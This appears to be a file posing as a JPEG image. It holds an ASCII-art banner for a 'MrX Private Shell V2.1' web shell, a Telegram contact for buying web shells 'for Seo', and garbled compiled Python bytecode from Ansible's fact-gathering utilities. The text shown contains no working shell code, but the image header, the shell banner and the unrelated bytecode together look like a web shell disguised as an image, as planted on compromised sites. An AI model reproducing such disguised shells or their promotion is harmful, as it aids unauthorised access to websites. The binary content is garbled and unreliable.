����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
a
�)g�
� @ sH d dl mZmZmZ eZd dlZd dlZd
dd�Zddd�Z dd � Z
dS )� )�absolute_import�division�print_functionNTc C s� |}t j�| �r�t �| t j�r�d}z�ztt| �}z0|�� }t�|tj�}t�|tj |t j
B � W n typ Y n0 |�� }|r�|�
� }t|�dkr�|}W n ty� Y n0 W |dur�|�� n|dur�|�� 0 |S )aS
Return the contents of a given file path
:args path: path to file to return contents from
:args default: value to return if we could not read file
:args strip: controls if we strip whitespace from the result or not
:returns: String with file contents (optionally stripped) or 'default' value
Nr )�os�path�exists�access�R_OK�open�fileno�fcntlZF_GETFLZF_SETFL�
O_NONBLOCK� Exception�read�strip�len�close)r �defaultr �dataZdatafile�fd�flag� r �D/usr/lib/python3.9/site-packages/ansible/module_utils/facts/utils.py�get_file_content s.
�
r c C sT t | |d�}|rL|du r"|�� }qPt|�dkr@|�|��|�}qP|�|�}ng }|S )zget list of lines from file)r N� )r �
splitlinesr �rstrip�split)r r Zline_sepr �retr r r �get_file_linesA s
r c C s� i }z�t �| �}|j|j |d<